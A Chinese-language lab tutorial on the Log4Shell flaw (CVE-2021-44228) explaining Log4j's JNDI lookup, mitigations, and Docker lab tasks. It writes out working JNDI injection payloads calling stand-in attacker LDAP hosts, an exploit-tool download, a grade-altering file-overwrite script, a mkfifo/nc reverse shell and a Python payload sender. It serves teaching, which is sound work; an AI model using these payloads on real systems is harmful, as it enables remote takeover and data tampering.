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CVE-2021–44228 Demo

1. CVE-2021–44228 簡介

2021 年底資安界最大的新聞莫過於 Log4j 的漏洞，編號為 CVE-2021-44228，又被稱為 Log4Shell，在 CVSS 漏洞評分系統中被評判為最嚴重等級的 10 分，也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。有人甚至形容它為「核彈級漏洞」，可見這個漏洞的影響程度之深遠。本次專題針對 CVE-2021-44228 進行分析，並且配合 lab 實作。

2. 關於 Log4j

Logfile（紀錄檔案）是一個記錄了發生在執行中的作業系統或軟體中的事件的檔案，或者記錄了在網路聊天軟體的使用者之間傳送的訊息。許多作業系統、軟體框架和程式都包含紀錄檔系統。Java 有一個很好用的 log 套件，就叫做 Log4j。這個套件是隸屬於 Apache 軟體基金會，因此全名又叫做 Apache Log4j。

Log4j 是一個非常好用的工具，它廣泛地被 Java 程式使用。很多時候軟體工程師會需要將一些執行程式的資料寫入記錄檔中，或是寫入其他的資料庫以供後續使用。這就是 Log4j 的用途，它可以從某個地方接受一個字串 (例如登入畫面上輸入的使用者 ID)，然後將字串寫到另一個地方 (例如認證流程的資料輸入欄位)。除了基本的複製/貼上，Log4j 還可以查看並解讀字串的內容。而解讀就是一個危險的動作，因為除非程式先將字串處理乾淨，否則在解讀時很容易發生問題。Log4j 並不會先將字串處理乾淨再解讀，因此攻擊者有機會進行注入攻擊（injection）。

3 CVE-2021–44228

CVE-2021-44228 是一個重大的漏洞，因為它讓 java server 可以被未經身份驗證的攻擊者執行 RCE（Remote Code Execution，遠端執行程式碼攻擊）。該漏洞源於 log4j 如何處理日誌訊息。如果攻擊者發送處理過的訊息（包含類似 ${jndi:ldap://rogueldapserver.com/a} 的字符串），這可能會導致加載 external code class 或 message lookup 並執行該程式，從而導致到 RCE 發生。

以下是 RCE 的基本流程。

  1. Attacker 發送帶有注入攻擊的請求到 Vulnerable Server。例如：發送 http request 
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
  2. 送進去的字串會被傳給 log4j 做 logging 紀錄。同時，Log4j 也會收到 ${jndi:ldap://evil.xo/x}
  3. Log4j 查看並解讀字串的內容，然後 JNDI （Java命名和目錄介面）詢問 LDAP server。LDNP 是通過IP協定提供存取控制和維護分散式資訊的 directory 的網路協定。
  4. LDAP Server 是一個惡意 server，收到 JNDI Query 後它會解析被注入的內容，然後回覆給 JNDI 需要的 directory，其中包含惡意的 java class 或是指令。
  5. Vulnerable Server 執行 JNDI 收到的回覆，攻擊者注入成功。

如何防禦 Log4j 漏洞問題

  1. 使用最新版的 Log4j 來重新建立程式套件 (目前的版本為 2.17.xx)，此外也請查看一下 Apache Foundation 網站上的最新修正資訊。
  2. 架設 WAF（Web application firewall）定義入侵規則，過濾 log4j 的輸入字串，但是這比較是治標不治本的方法，攻擊者有機會隱藏字串，例如使用 base64 加密來躲避文字掃描偵測。
  3. 暫時停用 log 功能，直到修正或
  4. 更新程式碼為止。您可能必須將所有呼叫到 Log4j 的地方都標成註解，所以應用程式可能會失去某些功能，例如：無法再將某使用者的訊息傳送給另一名使用者。順便一提，這就是當初這個漏洞被發現的原因：有 Minecraft 玩家發現，如果他們在聊天方塊中貼入 Log4j 的指令，這些訊息會被直接當成指令來執行，而非當成訊息傳送。

Lab Environment

1. 環境設定

請先下載 SEED Ubuntu 20.04 VM，此 VM 提供安裝好的 docker 環境。Download

下載 JNDIExploit

$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

Container Setup

$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

# Aliases for the Compose commands above
$ dcbuild   # Alias for: docker-compose build
$ dcup      # Alias for: docker-compose up
$ dcdown    # Alias for: docker-compose down

Container Command

$ dockps        # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias for: docker exec -it <id> /bin/bash

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

為了簡化步驟，所有 server 均在同一個 LAN 之下

Lab Task

Task 1: Using Log4j

在這個 Task 裡使用者可以熟悉一下 log4j 是如何運作的。使用者可以使用 X-Api-Version header 去使用 log4j 紀錄 log

# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

如果 Server 有正確解析到你發送的 request，他會回傳一個 Hello World! 請在報告上記錄 Server 回傳的結果跟 Server 是否有正確解析 request 並記錄 log

Task 2: Launch Log4Shell

在 2013 年的時候，Log4j 套件新增了「JNDILookup 外掛程式」，允許開發人員利用 JNDI 結合 LDAP 的方式取得其他外部 JNDITutorial 的 Java 資料物件

接下來我們要用剛剛使用的 log4j 結合 JNDIExploit，讓 Server 執行我們想讓他執行的命令

# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

請在 /tmp 資料夾裡建立一個 secret.txt 檔案，並且進入 server 裡確認是否檔案有建立成功


Note-1: <content> 是不能直接放指令的，需要做轉換
Note-2: 因為 vulnerable-app 沒有 /bin/bash 這個 shell 可以使用，如果要確認檔案的話可以使用 docker 指令 

$ docker exec vulnerable-app ls /tmp

詳細 JNDIExploit 使用

Task 3: Modifying Server File

經過前面的 task，我們發現 vulnerable-app 會執行任何攻擊者的 base64 指令，如果攻擊者想做更複雜的操作，他可以傳送shell script攻擊腳本讓 server 執行。

$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html

上面是一個修改網站成績的腳本，成績存放在index.html內，請先成功執行它並且指出不一樣的地方。然後修改這個腳本，使得成績檔案更改成你想要的數字。


Note-1: 方便修改檔案的方法還有 sed
Note-2: 因為 vulnerable-app 不能接受使用者透過瀏覽器去查看 /var/www，如果要確認檔案的話可以使用 docker 指令

$ docker exec vulnerable-app cat /var/www/index.html

Task 4: Creating Revserse Shell using Log4Shell

經過前面的 Task 我們已經可以把我們想執行的指令轉成 base64 讓 server 去執行了，為了完全掌控 server，可以利用指令建立一個 reverse shell

# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>

為了方便進行，我們提供一個 python 腳本放便大家進行攻擊

import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'

Note: vulnerable-app 沒有 /bin/bash 跟 /dev/tcp，所以無法使用普通 reverse shell 的方式，不過我們可以建立一個 pipe 的檔案對它進行讀寫

$ mkfifo <file-name>

Reference

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641